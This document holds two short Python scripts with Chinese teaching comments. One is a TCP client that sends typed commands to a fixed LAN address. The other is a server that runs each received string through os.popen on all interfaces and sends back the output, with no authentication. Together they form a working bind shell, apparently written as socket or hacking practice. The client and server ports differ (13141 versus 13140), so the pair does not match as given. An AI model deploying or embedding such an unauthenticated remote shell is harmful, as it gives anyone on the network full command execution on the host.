from socket import *

host = '192.168.48.128'
port = 13141
addr = (host,port)
bufsize=1024

tcpClient = socket(AF_INET,SOCK_STREAM) # 这里的参数和UDP不一样。
tcpClient.connect(addr) #由于tcp三次握手机制，需要先连接

while True:
  data = input('> ').encode(encoding="utf-8")
  if not data:
    break
  # 数据收发和UDP基本一致
  tcpClient.send(data) 
  data = tcpClient.recv(bufsize).decode(encoding="utf-8") 
  print(data)

tcpClient.close()

from socket import *
from time import ctime
import os 

host = ''
port = 13140
bufsize = 1024
addr = (host,port)

tcpServer = socket(AF_INET,SOCK_STREAM)
tcpServer.bind(addr)
tcpServer.listen(5) #这里设置监听数为5(默认值),有点类似多线程。

while True:
  print('Waiting for connection...')
  tcpClient,addr = tcpServer.accept() #拿到5个中一个监听的tcp对象和地址
  print('[+]...connected from:',addr)

  while True:
    cmd = tcpClient.recv(bufsize).decode(encoding="utf-8") 
    print('  [-]cmd:',cmd)
    if not cmd:
      break
    ###这里在cmd中执行来自客户端的命令，并且将结果返回###
    cmd = os.popen(cmd) ###os.popen(cmd)对象是file对象子类，所以可以file的方法
    cmdResult = cmd.read()
    cmdStatus = cmd.close()
    #################################################
    data = cmdResult if (not cmdStatus) else "ERROR COMMAND"
    tcpClient.send(data.encode(encoding="utf-8"))

  tcpClient.close() #
  print(addr,'End')
tcpServer.close() #两次关闭，第一次是tcp对象，第二次是tcp服务器